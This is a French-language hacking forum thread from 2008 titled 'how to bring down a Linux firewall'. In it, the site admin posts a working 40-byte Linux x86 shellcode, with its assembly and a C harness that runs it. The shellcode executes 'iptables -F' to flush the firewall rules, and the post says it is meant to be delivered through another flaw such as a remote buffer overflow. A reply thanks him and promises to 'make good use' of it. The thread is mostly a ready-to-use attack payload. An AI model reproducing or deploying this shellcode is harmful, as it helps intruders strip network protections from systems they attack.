[shellcode] Comment faire tomber un firewall linux?

Moderator: Mod

[shellcode] Comment faire tomber un firewall linux?

Postby Korigan » Thu Feb 14, 2008 11:42 am

Voici un shellcode qui permet de vider les entrées iptable et donc de 'désactiver' le firewall d'un systeme Linux x86.

Pour l'exploiter il faut utiliser une autre vulnérabilité, un remote buffer overflow par exemple.

[code:1:af3557c548]
/* By Kris Katterjohn 11/18/2006
*
* 40 byte shellcode to flush iptables for Linux x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/sbin/iptables", { "/sbin/iptables", "-F", NULL }, NULL)
*
* push byte 11
* pop eax
* cdq
* push edx
* push word 0x462d
* mov ecx, esp
* push edx
* push word 0x7365
* push 0x6c626174
* push 0x70692f6e
* push 0x6962732f
* mov ebx, esp
* push edx
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/

main()
{
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89"
"\xe1\x52\x66\x68\x65\x73\x68\x74\x61\x62"
"\x6c\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62"
"\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

(*(void (*)()) shellcode)();
}

// hackbbs.org [2008-02-14]

[/code:1:af3557c548]
User avatar
Korigan
Site Admin
 
Posts: 1781
Joined: Tue May 29, 2007 6:57 pm

Postby zi_hunter » Thu Feb 14, 2008 12:29 pm

hihi merci bien Korigan j'vais en faire un bon usage :P
User avatar
zi_hunter
Projets
 
Posts: 106
Joined: Mon Jul 16, 2007 11:09 am
Location: 127.0.0.1


Return to Sécurité Intrusion

Who is online

Users browsing this forum: No registered users and 8 guests

cron